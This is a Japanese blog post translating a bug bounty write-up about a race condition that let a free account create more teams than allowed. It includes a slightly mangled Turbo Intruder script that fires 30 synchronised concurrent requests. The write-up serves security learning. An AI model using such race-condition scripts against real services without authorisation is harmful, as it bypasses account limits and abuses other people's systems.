Breaking Business Logic - Part: 2^7 = 1を訳してみた

Hello there, ('ω')ノ

ビジネスロジックの破綻 - パート: 2^7 = 1

脆弱性：

　レースコンディション

記事：

　https://systemweakness.com/breaking-business-logic-part-2-7-1-f19924b18783

今回は、あるプログラムで見つけた Race Conditions について。

このアプリケーションでは、ユーザがチームを作成でき。

このチームで、管理者はチームを作成し、チームに他のユーザを追加して。

開発者関連のタスクを実行できて。

プレミアムユーザには複数のチームを追加する権限がありますが。

無料アカウントの場合、ユーザは１つのチームしか追加できず。

複数回追加しようとすると、アプリケーションは複数のチームの追加を拒否して。

１．まず、[チームフォームの追加] をクリックしてフォームに入力し。

　[送信] をクリックして。

２．リクエストを傍受して Turbo-Intruder に送信し。

　その後現在のリクエストを破棄して。

　Turbo Intruder について知らない人は、Race-Condition および。

　Brute-Forcing タスクを実行するための Burp Suiteの素晴らしいアドオンで。

　これは Burp-Suite コミュニティの追加でも利用でき。

　以下のスクリーンショットを参考までに。

３．使用した競合状態のコードは次のようになり。

　これはインターネット上のどこでも見つけることができますが。

　便宜上ここにコードを貼り付けることに。

# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)# the 'gate' argument blocks the final byte of each request until openGate is invoked
for i in range(30):
engine.queue(target.req, target.baseInput, gate='race1')# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):
table.add(req)

https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py